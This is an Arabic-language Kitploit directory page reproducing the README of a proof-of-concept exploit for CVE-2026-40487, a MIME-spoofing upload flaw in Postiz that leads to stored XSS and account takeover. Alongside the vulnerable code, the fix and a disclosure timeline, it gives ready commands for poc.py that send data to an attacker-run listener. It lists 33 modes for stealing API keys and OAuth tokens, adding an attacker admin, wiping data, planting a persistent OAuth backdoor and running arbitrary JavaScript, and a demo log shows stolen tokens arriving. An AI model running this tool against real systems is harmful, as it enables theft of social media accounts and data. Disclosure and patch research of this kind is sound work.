Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-40487 — إثبات مفهوم لاستغلال CVE-2026-40487، يوضح رفع ملفات تعسفي عبر انتحال MIME مما يؤدي إلى XSS مخزّن والاستيلاء على الحساب في Postiz. يتضمن أوضاع هجوم متعددة لسرقة البيانات، وتصعيد الامتيازات، والاستمرارية. | Kitploit
أدوات/GitHubGitHub/astaruf/cve-2026-40487
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقتطوير الحمولات
GitHubastaruf/cve-2026-40487

CVE-2026-40487

إثبات مفهوم لاستغلال CVE-2026-40487، يوضح رفع ملفات تعسفي عبر انتحال MIME مما يؤدي إلى XSS مخزّن والاستيلاء على الحساب في Postiz. يتضمن أوضاع هجوم متعددة لسرقة البيانات، وتصعيد الامتيازات، والاستمرارية.

عرض المستودع
3منذ 4 أشهرلم تتم المراجعة بعد
الموقع الإلكتروني

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-40487 - Postiz <= 2.21.5 - رفع ملفات تعسفي عبر انتحال MIME-Type إلى XSS مخزّن إلى الاستيلاء على الحساب

اكتشفه وقدّمه: Astaruf

الشرح الكامل: https://nstsec.com/en/posts/postiz-xss-cve-2026-40487/

إدخال NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-40487

إدخال GHSA: https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-44wg-r34q-hvfx

سجل CVE: https://www.cve.org/CVERecord?id=CVE-2026-40487


الملخص

Postiz هو أداة مفتوحة المصدر لإدارة وسائل التواصل الاجتماعي مع أكثر من 28 تكاملًا للمنصات (Instagram, X, LinkedIn, Facebook, TikTok، وغيرها)، ويُستخدم في أكثر من 600 نسخة معرّضة على الإنترنت.

يمكن لمهاجم منخفض الصلاحيات رفع ملف SVG (أو HTML) خبيث مع ترويسة Content-Type: image/png مزوّرة. يقبل الخادم الملف دون فحص محتواه الفعلي، ويحافظ على الامتداد الأصلي، ويقدّمه nginx مع Content-Type المشتق من ذلك الامتداد (image/svg+xml). عندما يفتح الضحية الرابط، يتم تنفيذ JavaScript المضمّن في نطاق التطبيق، مما يمنح المهاجم قدرات كاملة للتحكم بالجلسة تعادل الاستيلاء على الحساب.

سلسلة الهجوم:

root@kitploit:~
يرفع المهاجم ملف .svg مع Content-Type: image/png
  -> يتحقق الخادم فقط من ترويسة Content-Type (CWE-345)
    -> يُحفظ الملف على القرص بالامتداد الأصلي .svg (CWE-434)
      -> يقدّمه nginx كـ image/svg+xml
        -> ينفّذ المتصفح JavaScript المضمّن (CWE-79)
          -> نفس النطاق: وصول كامل لجلسة الضحية

التأثير

يتم تنفيذ حمولة XSS في نفس النطاق مع التطبيق. حتى لو كانت كوكي المصادقة HttpOnly، فإن fetch() مع credentials: "include" يرفقها تلقائيًا. يمكن للمهاجم:

  • سرقة ملف الضحية الشخصي، ومفاتيح API، ورموز OAuth لجميع حسابات التواصل الاجتماعي المرتبطة
  • قراءة وإنشاء وتعديل وحذف المنشورات المجدولة عبر جميع المنصات
  • دعوة المهاجم كمسؤول في مؤسسة الضحية
  • إنشاء باب خلفي OAuth دائم (رمز pos_* لا ينتهي أبدًا ويبقى صالحًا بعد تغيير كلمات المرور)
  • تعطيل الإشعارات، ومسح الإعدادات، وإجبار تسجيل الخروج
  • تنفيذ استدعاءات API مصادقة تعسفية بصفة الضحية

تفاصيل الثغرة

ثلاثة مكونات تفشل بشكل مستقل، مما ينشئ سلسلة الاستغلال:

1. التحقق من MIME-Type يثق في مدخلات العميل (CWE-345)

libraries/nestjs-libraries/src/upload/custom.upload.validation.ts:

root@kitploit:~
const validation =
  (value.mimetype.startsWith('image/') ||
    value.mimetype.startsWith('video/mp4')) &&
  value.size <= maxSize;

value.mimetype يأتي من ترويسة Content-Type في طلب multipart، والتي يتحكم بها المهاجم. لا يوجد فحص للبايتات السحرية، ولا استخدام لمكتبات مثل file-type.

2. الحفاظ على الامتداد الأصلي على القرص (CWE-434)

libraries/nestjs-libraries/src/upload/local.storage.ts:

root@kitploit:~
const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);

extname(file.originalname) يستخرج الامتداد من اسم الملف المقدَّم من العميل. لا يوجد فحص للاتساق بين نوع MIME المُعلن والامتداد. كما يعيد الخادم الرابط العام الكامل في الاستجابة، فيحصل المهاجم على الرابط لإرساله إلى الضحية.

3. nginx يقدّم المحتوى بـ Content-Type مشتق من الامتداد

root@kitploit:~
http {
    include       /etc/nginx/mime.types;
    location /uploads/ {
        alias /uploads/;
    }
}

يقوم nginx بتعيين .svg إلى image/svg+xml، و.html إلى text/html. لا يوجد Content-Security-Policy، ولا X-Content-Type-Options: nosniff، ولا Content-Disposition: attachment.

إثبات المفهوم

المتطلبات

root@kitploit:~
Python 3.8+
pip install requests

البدء السريع

root@kitploit:~
# 1. تحقق مما إذا كان الهدف عرضة للثغرة
python3 poc.py http://target:5000 -e [email protected] -p password --check

# 2. سرقة كل شيء من الضحية
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a full-dump

# 3. إنشاء باب خلفي دائم
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a create-oauth-app

# 4. إعادة استخدام الرمز دون بيانات اعتماد
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
    --lhost YOUR_IP -a full-dump

تدفق الهجوم

root@kitploit:~
المهاجم                    خادم Postiz              الضحية
    |                              |                        |
    |-- 1. تسجيل الدخول/التسجيل -->|                        |
    |-- 2. رفع SVG خبيث ---------->|                        |
    |<---- رابط الملف -------------|                        |
    |-- 3. إرسال الرابط للضحية --------------------------->  |
    |                              |<--- 4. فتح الرابط ----- |
    |                              |--- SVG + JS ---------> |
    |<-------------- 5. تنفيذ JS وسرقة البيانات ------------|

جميع أوضاع الهجوم (33)

السرقة (19 وضعًا) - سرقة بيانات الضحية
الوضعالوصف
dump-selfملف الضحية الشخصي، معلومات المؤسسة، المستوى، مفتاح API
dump-personalالاسم المعروض، السيرة الذاتية، صورة الملف الشخصي
dump-integrationsتكاملات وسائل التواصل الاجتماعي المرتبطة ورموزها
dump-postsالمنشورات المجدولة والمسودات (آخر 365 يومًا)
dump-teamأعضاء الفريق، الأدوار، وعناوين البريد الإلكتروني
dump-mediaقائمة مكتبة الوسائط
dump-notificationsسجل الإشعارات
dump-signaturesتوقيعات المنشورات
dump-webhooksخطافات الويب المكوّنة وعناوينها
dump-oauth-appبيانات اعتماد تطبيق OAuth (clientId, secret)
dump-copilotسلاسل محادثات المساعد الذكي AI
dump-billingمعلومات الفوترة والاشتراك
dump-settingsإعدادات الروابط المختصرة والإشعارات
dump-third-partyإعدادات تكاملات الطرف الثالث
dump-autopostقواعد النشر التلقائي
dump-setsمجموعات المحتوى
dump-tagsوسوم المنشورات
dump-customersقائمة العملاء
full-dumpكل ما سبق في حمولة واحدة
تصعيد الصلاحيات (3 أوضاع)
الوضعالوصف
add-adminدعوة المهاجم كمسؤول ADMIN في مؤسسة الضحية (--attacker-email)
rotate-keyتدوير مفتاح API للمؤسسة وسرقته
rotate-oauthتدوير سر تطبيق OAuth وسرقته
التخريب (9 أوضاع) - إجراءات تخريبية
الوضعالوصف
kill-notificationsتعطيل جميع إشعارات البريد الإلكتروني
edit-profileتعديل اسم الضحية وسيرته الذاتية (--edit-name, --edit-bio)
wipe-signaturesحذف جميع توقيعات المنشورات
wipe-webhooksحذف جميع خطافات الويب
wipe-tagsحذف جميع الوسوم
wipe-setsحذف جميع مجموعات المحتوى
wipe-autopostحذف جميع قواعد النشر التلقائي
logout-victimإجبار الضحية على تسجيل الخروج
delete-oauth-appحذف تطبيق OAuth الخاص بالضحية
الباب الخلفي (وضعان) - وصول دائم
الوضعالوصف
create-oauth-appإنشاء تطبيق OAuth، موافقة تلقائية، سرقة رمز pos_* الدائم (--oauth-redirect)
steal-cookieسرقة JWT للمصادقة عبر document.cookie (عندما NOT_SECURED=true)
عام (وضعان) - متقدم
الوضعالوصف
api-callاستدعاء API مصادق تعسفي (--api-method, --api-path, --api-body)
customتنفيذ JavaScript تعسفي (--custom-js)

خيارات إضافية

الخيارالوصف
--checkفحص ما إذا كان الهدف عرضة للثغرة (بدون تنفيذ هجوم)
--registerتسجيل حساب جديد قبل تسجيل الدخول
-t / --tokenاستخدام مفتاح API أو رمز pos_* بدلاً من بيانات الاعتماد
--format htmlاستخدام حمولة HTML بدلاً من SVG
--proxyتوجيه الحركة عبر وكيل HTTP/SOCKS (مثل Burp Suite)
-o / --outputحفظ الغنائم في ملف JSON

العرض التوضيحي

root@kitploit:~
$ python3 poc.py http://target:5000 -e [email protected] -p S3cret! --lhost 10.0.0.1 -a full-dump

 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██████╗  ██╗  ██╗  █████╗  ███████╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ██╔═████╗ ██║  ██║ ██╔══██╗ ╚════██║
██║     ██║   ██║█████╗   -2026- ███████║ ██║██╔██║ ███████║ ╚█████╔╝     ██╔╝
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║ ████╔╝██║ ╚════██║ ██╔══██╗    ██╔╝
╚██████╗ ╚████╔╝ ███████╗             ██║ ╚██████╔╝      ██║ ╚█████╔╝    ██║
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝  ╚═════╝       ╚═╝  ╚════╝     ╚═╝

  Postiz <= 2.21.5 — XSS مخزّن عبر رفع ملف بانتحال MIME

[*] تسجيل الدخول كـ [email protected] ...
[+] تمت المصادقة.
[*] إنشاء الحمولة: سرقة كل شيء في حمولة واحدة
[*] رفع ملف .svg خبيث مع Content-Type: image/png ...
[+] تم الرفع بنجاح.
    ID:   28c1daee-d83e-403e-bc1f-dba63182d4b0
    Path: http://target:5000/uploads/2026/04/15/4be19b2244eb.svg
[*] بدء مستمع السرقة على 0.0.0.0:8888 ...

=================================================================
  أرسل هذا الرابط إلى الضحية:

  http://target:5000/uploads/2026/04/15/4be19b2244eb.svg

=================================================================

[*] انتظار فتح الضحية للرابط ...

[+] تم استلام الغنيمة @ 2026-04-15 03:45:41
    tag: victim-profile
    data: {"email":"[email protected]","orgId":"...","publicApi":"bd332945..."}

[+] تم استلام الغنيمة @ 2026-04-15 03:45:41
    tag: integrations
    data: [{"id":"...","providerIdentifier":"instagram","token":"IGQVJ..."}]

[+] تم استلام الغنيمة @ 2026-04-15 03:45:42
    tag: team-members
    data: [{"userId":"...","email":"[email protected]","role":"SUPERADMIN"}]
    ...

الإصلاح

قدّم الإصدار 2.21.6 ثلاثة تغييرات:

  1. التحقق من البايتات السحرية باستخدام مكتبة file-type لفحص المحتوى الفعلي للملف
  2. قائمة سماح صريحة لـ MIME-Type (لا مزيد من القاعدة الشاملة image/*)
  3. تجاوز الامتداد بناءً على نوع المحتوى المكتشف

الجدول الزمني

التاريخالحدث
2026-04-10اكتشاف الثغرة أثناء مراجعة الكود المصدري
2026-04-10الإبلاغ عبر GitHub Security Advisory (GHSA)
2026-04-10اعترف المطورون وطلبوا توضيحات
2026-04-10تقديم سيناريوهات الهجوم التفصيلية وبيانات Shodan
2026-04-11تقديم اعتراض على CVSS مع الأدلة
2026-04-13إصدار الإصلاح في v2.21.6
2026-04-14تعيين CVE-2026-40487
2026-04-15الكشف العلني

المراجع

  • الشرح الكامل لـ Astaruf
  • CVE-2026-40487 - استشارة أمنية GHSA
  • CVE-2026-40487 - إدخال NVD
  • Postiz - المستودع الرسمي
  • Postiz v2.21.6 - إصدار الإصلاح
  • CWE-345: التحقق غير الكافي من صحة البيانات
  • CWE-434: رفع غير مقيد لملف بنوع خطير
  • CWE-79: البرمجة النصية عبر المواقع المخزّنة
  • OWASP - رفع الملفات غير المقيد

إخلاء المسؤولية

هذه الأداة مقدمة لأغراض الاختبار الأمني المصرح به والتعليم فقط. استخدمها فقط ضد الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.

الترخيص

MIT

تنزيل الأداة